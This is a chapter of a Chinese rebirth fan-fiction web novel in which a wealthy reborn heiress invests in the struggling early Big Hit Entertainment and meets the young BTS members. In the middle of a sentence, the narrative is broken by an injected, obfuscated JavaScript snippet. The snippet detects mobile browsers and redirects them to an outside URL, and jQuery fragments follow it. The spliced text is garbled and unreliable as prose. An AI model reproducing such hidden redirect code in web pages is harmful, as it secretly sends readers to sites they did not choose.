第一章回响在旧时光里的足音
仁川机场的贵宾通道安静得能听见空气净化器运转的嗡鸣。尤里从舷窗收回视线，指尖无意识地摩挲着腕表的表盘边缘，那块百达翡丽的古董表冰凉地贴着手腕，表盘上细小的钻石在顶灯光下折射出冷冽的光。
她回来了。
回到2013年3月17日，下午两点三十七分。
回到一切的起点，回到那个后来在无数个失眠的深夜里被她反复咀嚼、几乎成为执念的日子。
上辈子，这一天，她坐了四个半小时的大巴从大邱来到首尔，穿着洗得发白的训练服，背着磨损的帆布包，口袋里只剩三万七千韩元，她推开Big Hit那扇破旧铁门时，心脏在胸腔里擂鼓，手心满是汗水。
然后，方时赫用温和但不容置疑的语气告诉她：“公司目前暂停招募女练习生。”
那场对话持续了不到十分钟。
后来她辗转去了另一家小公司，在地下室练舞，吃泡面，在凌晨的末班地铁上累到睡着。五年后，因为一场舞台事故伤了韧带，从此告别舞蹈，二十八岁那年，她开了家舞蹈教室，教孩子们跳舞，日子平淡如水。
唯一的慰藉，就是在无数个疲惫的深夜里，戴上耳机，循环播放一个叫BTS的男团的歌，看他们在屏幕上从地下室走向格莱美，成为改写K-pop历史的传奇。
而现在，她站在仁川机场贵宾室的落地窗前，看着窗外铅灰色的天空和细密的春雪，身上是当季的MaxMara羊绒大衣，脚上是崭新的Christian Louboutin平底鞋，Birkin手袋安静地放在一旁的沙发上，里面除了必要的证件，只有一张黑色的金属卡片。
艾森伯格家族信托基金的无限额副卡。
上辈子她赌气从未动用过的东西，这辈子成了她唯一的武器。
“小姐，车备好了。”金室长的声音在身后响起，平稳，恭谨，带着为艾森伯格家族服务二十年来养成的、恰到好处的距离感。
尤里转过身，镜中的少女有一张过分精致的混血面孔，浅金色的长发在脑后挽成一丝不苟的低髻。十七岁的身体，包裹在剪裁合体的燕麦灰羊绒大衣里，像一尊精心雕琢的艺术品。
“去江南区。”她说，声音很轻，但每个字都清晰。
车子驶上机场高速时，雪下得更大了。细密的雪粒子扑打在车窗上，发出细碎的声响。尤里看着窗外飞逝的首尔街景——2013年的首尔，还没有后来那么多高耸入云的玻璃幕墙大楼，没有那么多奢侈品旗舰店，江南区的繁华也还带着几分粗粝的生猛。
但有些东西，已经在那里了。
比如，那条位于狎鸥亭洞深处、路灯坏了两盏的狭窄小巷，比如，巷子尽头那栋五层旧楼，墙皮剥落，一楼关门的炸鸡店玻璃蒙着厚厚的灰，四楼那扇透出昏黄灯光的窗户，以及窗后隐约传来的、夹杂着嘻哈鼓点和少年人喘息声的音乐。
车子在巷口停下，巷子太窄，进不去。
“在这里等我。”尤里对金室长说，推门下车。
雪立刻落在她肩头和发梢，她没有撑伞，只是抬头看向巷子深处，然后抬步，走了进去。
高跟鞋踩在积雪的水泥地上，发出清脆规律的叩击声，在空荡的巷子里回响。每一步，都像踩在记忆与现实的交界线上。上辈子，她穿着磨破边的帆布鞋，怀揣着忐忑和希望，走过这条巷子。这辈子，她带着足以买下整条街的财富，再次走向那扇门。
铁门上贴着的A4纸还在，上面用马克笔歪歪扭扭地写着“Big Hit Entertainment”，旁边画着那个潦草的笑脸，字迹被湿气晕开，边缘发黄。
尤里站在门前，静静听了十几秒门后的音乐。
是《No More Dream》的最初版本。鼓点粗糙，编曲稚嫩，人声里满是未经打磨的生涩，但那股横冲直撞、几乎要破墙而出的生命力，已经初具雏形。
她抬手，叩门。
三下，不轻不重，在音乐间歇的瞬间响起。
门内的音乐停了。然后是手忙脚乱的声响，有人撞到了什么东西，有人小声惊呼，脚步声靠近。
门被拉开。
开门的不是方时赫，是个少年。他有一张过分好看的脸，眼睛很大，此刻因为惊讶而瞪得圆圆的，额前的刘海被汗水打湿，黏在光洁的额头上。他穿着洗得发白的灰色T恤，胸口处有一小块深色的汗渍，锁骨随着急促的呼吸轻轻起伏。
金泰亨。
尤里感觉自己的呼吸停了一拍，上辈子，她在屏幕上、海报上、演唱会的大屏上看过这张脸无数次，看他从青涩少年长成世界巨星，看他笑出标志性的四方嘴，看他哭成泪人，而现在，他就站在她面前，呼吸可闻，真实得令人窒息。
“请、请问你找谁？”金泰亨显然被门外人的打扮惊到了，说话都有些结巴，他的目光不受控制地掠过尤里身上那件质感极佳的羊绒大衣，又迅速垂下，耳根以肉眼可见的速度泛红。
尤里强迫自己移开视线，看向门内。
大约三十坪的空间，被简陋的隔板勉强分成两半，一半堆满乐谱和杂物，桌子摇摇晃晃；另一半是练习区，地面铺着廉价的地胶，已经磨损起泡，整面墙的镜子布满划痕和污渍，边角用透明胶带粘着。音响设备是老式的，线缆纠缠在一起，嗡嗡地发出电流杂音。
最重要的是，人。
除了开门的金泰亨，房间里还有六个人。
靠近镜子的地方站着三个人。最左边那个戴着黑框眼镜，手里拿着写满字的笔记本，正警惕地看着她——金南俊。中间那个个子稍矮，但肢体舒展，显然常年练舞，此刻保持着半蹲的姿势——郑号锡。右边那个皮肤很白，有一双漂亮的桃花眼，但此刻眼神里充满了不安，手指无意识地揪着衣角——朴智旻。
角落的旧沙发上坐着两个人。一个抱着吉他，垂着眼，手指无意识地拨弄琴弦，但余光在瞥她——闵玧其。另一个坐得笔直，但肩膀紧绷，嘴唇抿成一条直线，背脊僵硬得像块木板——金硕珍。
最里面，一个看起来年纪最小的男孩正蹲在地上系鞋带，此刻也抬起头，脸上还带着未褪的婴儿肥，眼神懵懂，像某种误入人类世界的小动物——是田柾国。
七个，齐了。
活生生的，年轻的，还没经历过后来那些风雨、荣耀、诋毁的。
她的偶像们。
心脏在胸腔里狂跳，某种混杂着巨大酸楚与无边庆幸的情绪汹涌而上，几乎要将她淹没。上辈子，她隔着屏幕仰望了他们十年，收藏过他们每一张专辑，在演唱会台下为他们嘶喊到失声，在无数个自我怀疑的深夜里靠他们的音乐重拾勇气。而现在，这些曾是她精神支柱的人，就活生生地在她面前不到五米的地方，呼吸着同一片浑浊的空气，流淌着滚烫的汗水。
“谁啊？”方时赫的声音从里面传来，他大概在隔板后面，此刻探出头，看到尤里的瞬间，他也愣住了，随即手忙脚乱地擦了擦额头的汗，快步走过来。
“您好，我们这里已经不招女练习生了不好意思。”方时赫的视线在尤里脸上和她那一身显然价值不菲的衣着上转了转，语气变得谨慎，带着一丝不易察觉的窘迫。他今天穿着洗得发白的格子衬衫，袖口处有些磨损，眼镜片后的眼睛里有血丝，额头上还挂着刚才练习时留下的汗。
尤里看着他，这个后来被无数粉丝称为“爸爸”、在纪录片里意气风发讲述梦想的男人，此刻还只是个为下个月房租发愁、为公司生计焦头烂额的小创业者。
“下午好。”尤里用标准的韩语开口，声音平静，但只有她自己知道，这平静之下是怎样的惊涛骇浪，“我是尤里·冯·艾森伯格，我们通过邮件约了今天下午三点的会面，讨论投资事宜。”
她说出“投资”这个词时，练习室里的空气瞬间凝滞了。
方时赫的眼睛瞬间睁大，像是听到了什么无法理解的外星语言，他张了张嘴，又闭上，然后再次开口，声音干涩：“投、投资？”
“是的。”尤里从手袋里取出那张纯黑色的名片，递过去，“关于对Big Hit娱乐进行战略性投资，以及后续的合作发展。”
方时赫几乎是机械地接过名片，黑色哑光材质，触感冰凉厚重，中央用极细的烫银工艺印着名字和一行数字。没有头衔，没有职务，但那种扑面而来的、不容错辨的顶级质感与权威气息，已足以让他明白眼前少女的身份绝不简单。
“冯、冯艾森伯格小姐……”方时赫艰难地吞咽了一下，目光不由自主地看向尤里身后——空荡荡的走廊，没有经纪人，没有助理，只有一个看起来最多十七八岁、漂亮得不像话的混血少女，站在他这家破旧的地下练习室门口，说要投资。
这场景荒诞得让他怀疑自己是不是练习过度出现了幻觉。
“这里不太适合谈正事。”尤里再次开口，声音依旧平稳，听不出任何情绪波动，“有办公室吗？我们可以详细谈谈。”
“有、有！”方时赫这才如梦初醒，连忙侧身，“办公室在里面，有点乱，您别介意……”
他领着尤里穿过练习区，七个少年齐刷刷地让开路，站得笔直，目光紧紧跟随着她。尤里能感受到那些目光——好奇，警惕，探究，还有一丝隐隐的、连他们自己都未必察觉的期待。
办公室比练习区更拥挤，不到十平米的空间，堆满了乐谱、文件、各种音乐设备。唯一一张办公桌摇摇晃晃，上面堆着吃了一半的泡面桶和几瓶喝了一半的矿泉水。唯一一把还算完整的椅子，椅背上搭着一件皱巴巴的外套。
方时赫手忙脚乱地抓起外套，又把椅子上的乐谱扫到一边，用袖子擦了擦椅面——尽管那袖子本身也不太干净。
“您、您请坐。”
尤里没有立刻坐下，她的目光缓缓扫过整个空间——墙皮剥落，天花板有漏水留下的黄渍，墙角堆着几箱最便宜的袋装泡面，旁边散落着几个空矿泉水瓶。空气里有汗味、旧纸张的霉味，还有廉价速食面调料包挥之不去的油腻气息。
一切都和记忆里一样，一样破败，一样艰难，一样……孕育着不可思议的可能。
她最终在那把椅子上坐下，背挺得笔直，双手交叠放在膝上，方时赫则有些局促地坐在她对面的旧办公椅上，椅子发出不堪重负的吱呀声。
“冯艾森伯格小姐，”方时赫舔了舔发干的嘴唇，艰难地开口，“您刚才说……投资？我不是怀疑您，只是……我们公司目前的状况，您可能不太了解。我们规模很小，资金也……”
“我很了解。”尤里打断他，从手袋里取出一份薄薄的文件，递过去，“这是Big Hit娱乐过去三年的简要评估报告。包括财务状况、人员结构、资产与负债情况，以及基于现有信息推测的未来六个月运营计划。”
方时赫接过文件，只翻了两页，手就开始不受控制地颤抖。
太详细了，详细到连公司账户里还剩多少钱、下个月要交多少水电费、甚至练习生们每月伙食费的精确数字都列得清清楚楚。更可怕的是，那些推测的运营计划，几乎和他脑子里想的、但还没来得及写出来的东西一模一样。
“您……您调查我们？”方时赫的声音发干，带着一丝被彻底看穿后的惊悸。
“尽职调查。”尤里纠正，语气平静得像在陈述客观事实，“在我决定是否投资之前，了解投资标的的真实状况，是基本流程。”
她顿了顿，目光掠过虚掩的办公室门——门外，七个少年假装在练习，但明显心不在焉，耳朵都竖着。
“简单来说，”尤里收回视线，看向方时赫，“我想投资Big Hit娱乐。投资金额……可以视需要而定，初步可以定在一百亿韩元，如果后续发展需要，可以随时追加，我的要求是，获取新公司51%的股权，你保留49%，继续担任社长，我带领团队负责所有日常运营、和艺人管理，内容制作我会提供资源。”
“一、一百亿？”方时赫的声音变了调，握着文件的手指因为用力而泛白，这个数字对他而言是天文数字，是足以瞬间改变一切、也足以压垮一切的重量。
“只是起步资金。”尤里平静地重复，“用于清偿债务、改善硬件、签约新人、制作内容。另外，我有一个附加条件。”
“您说。”方时赫强迫自己冷静，但声音里的微颤出卖了他。
“我也要出道。”尤里看着他的眼睛，一字一句，“以solo歌手的身份，我会参与公司的训练体系，但我的出道企划、音乐制作、形象定位，我要有绝对的话语权，同时，我会组建专业的制作和运营团队，负责公司整体的升级和扩张。”
方时赫愣住了，他看着她，这个看起来不过十七八岁的少女，用如此平静的语气，说出如此惊人的话——一百亿的投资，51%的股权，还要以solo歌手身份出道，并且
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292573|198523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要掌控自己的制作。
这已经不是普通的投资，这几乎是……收购，并且是带着强烈个人意志的收购。
“为、为什么？”方时赫听见自己问，声音干涩，“为什么是我们？我们甚至……连一个成功的出道组合都没有。”
尤里沉默了片刻，她的目光再次飘向门外，那些少年们还在假装练习，但动作僵硬，显然心思完全不在这里。
“因为在我看到的所有备选标的里，”她最终开口，声音很轻，但每个字都清晰，“你们的‘损耗率’与‘成长潜力’比值，是最优的。”
方时赫没听懂这个过于专业的术语，但他听懂了“最优”这个词。
“简单的说，”尤里补充，语气里没有任何温度，只有理性的评估，“你们现在状况很差，但底子不错，投入资源进行系统性改造后，预期回报率最高，这是纯粹的投资决策。”
总不能说我偶像在这里吧。
方时赫感觉喉咙发紧，他当然渴望资金，渴望改变现状，但这种方式……这种将一切梦想与努力都明码标价、用投资回报率来衡量的方式，让他如鲠在喉。
“那……那您的具体方案是？”他艰难地问。
“公司的发展规划、硬件升级、团队建设方案，我会在三天内给你一份详细的文件。”尤里说，“现在，你需要做的是——好好考虑我的提议，想好了，给我答复。”
“不用考虑。”方时赫几乎立刻回答，声音因激动而微微发颤，但也带着一种被逼到绝路后的决绝，“我同意。”
这次轮到尤里愣了一下，她看着他，这个中年男人眼镜片后的眼睛里，有血丝，有疲惫，但也有一种孤注一掷的疯狂光芒。
“你确定？”她问，“不听听我的具体规划？不怕我把公司带偏？”
“冯艾森伯格小姐，”方时赫苦笑，笑容里满是疲惫和无奈，“不瞒您说，公司账户里只剩下一百二十七万韩元，下个月的房租一百五十万，银行催款电话每天打三次，孩子们……”他看向门外，声音低了下去，“已经连续吃了五十七天泡面。上周，志旻因为低血糖在练习时晕倒，送去医院连检查费都是我先垫的。您这个时候出现，带着一百亿的投资，别说51%的股权，就算您要70%、要80%，我也会签。因为……”
他顿了顿，声音里带上了一丝哽咽。
“因为再没有改变，这些孩子……就真的没有未来了。”
办公室里安静下来，只有老旧空调出风口嘶嘶的声响，和门外隐约传来的、少年们压抑的呼吸声。
尤里看着方时赫，看着这个后来在纪录片里总是沉稳坚定、被无数粉丝信赖的男人，此刻因为五十七天的泡面、因为一次晕倒、因为一百五十万的房租，红了眼眶。
心脏某处轻轻抽了一下。
“好。”她最终点头，从手袋里取出一张银行卡——纯黑色，没有银行标志，只在角落有一个烫金的家族徽章。她将卡放在摇摇晃晃的办公桌上，推到方时赫面前。
“这张卡里有一百亿韩元，密码是六个八。你先拿去，把该还的债还了，该付的钱付了。然后——”
她再次看向门外。
“给孩子们改善生活，每人每月生活费提高，请专业的营养师制定食谱，安排全面体检，该买的训练服、鞋子、护具，都买最好的。另外……”她顿了顿，“得找一个新的、像样的临时办公和练习场地，这里环境太差了，对训练和健康都不好。”
方时赫看着那张卡，手指颤抖着伸过去，又缩回来，仿佛那是什么烫手的东西。最终，他深吸一口气，握住了那张卡，冰凉的金属质感贴着手心，沉重得让他几乎拿不住。
“那……那新场地有什么要求？”他强迫自己冷静下来。
“通风，采光好，面积足够，隔音必须达标。位置最好在江南区，交通方便，不过这些你都不用操心，等我的人找到后，通知你们搬家就可以了。”
“明白。”方时赫用力点头，将那张卡紧紧攥在手心，仿佛那是救命稻草。
尤里站起身，走到办公室门口，拉开虚掩的门。
七个少年齐刷刷地站直身体，像等待检阅的士兵，他们看着她，眼神复杂——有不安，有期待，有警惕，还有一丝不易察觉的、对即将到来的改变的惶恐。
“都听到了？”尤里问。
少年们面面相觑，最后金南俊点了点头，声音很轻：“听、听到了。”
“那正好。”尤里说，目光从他们脸上一一扫过——金泰亨眼睛亮晶晶的，朴智旻咬着嘴唇，田柾国一脸懵懂，郑号锡挺着胸，金硕珍肩膀依旧紧绷，闵玧其垂着眼，金南俊推着眼镜。
“收拾一下，换身衣服。”尤里继续说，语气比刚才温和了些，但依旧平静，“我请你们吃饭。”
“吃、吃饭？”金泰亨第一个反应过来，眼睛“唰”地亮了，刚才的紧张和不安瞬间被抛到脑后。
“嗯。”尤里点头，嘴角几不可察地扬了一下——天知道她用了多大的自制力，才没让自己在面对偶像时笑得太明显，“吃韩牛，随便吃，管饱。”
“耶——！！！”
欢呼声几乎掀翻天花板，少年们瞬间忘了刚才的拘谨和不安，金泰亨和田柾国击掌，朴智旻跳了起来，郑号锡笑得见牙不见眼，连一向沉稳的金南俊和面无表情的闵玧其，嘴角都忍不住上扬。金硕珍则已经开始摸肚子，小声嘀咕：“终于……终于能吃肉了……”
“给你们十分钟。”尤里看了眼腕表，“车在巷子外面等着，别穿训练服，换身干净衣服。”
少年们瞬间作鸟兽散，冲向更衣室——如果那个用帘子隔出来的、堆满杂物的角落也能算更衣室的话。
方时赫看着他们的背影，眼眶又有些发热。他转向尤里，深深鞠躬，声音哽咽：“冯艾森伯格小姐，真的……真的非常感谢，我不知道该说什么……”
“不用谢。”尤里转身往外走，“这只是开始，三天后，你会看到真正的计划。”
说完，她推门离开。
高跟鞋的声音在楼梯间渐渐远去，最终消失在楼下。
方时赫站在空荡的练习室里，手里紧紧攥着那张黑色卡片，感觉像握着一座金山。门外传来少年们换衣服时兴奋的吵嚷声，夹杂着“韩牛！”“随便吃！”“一百万生活费！”的惊呼。
梦想，突然以最现实、最冷酷、也最无法拒绝的方式，砸在了他们面前。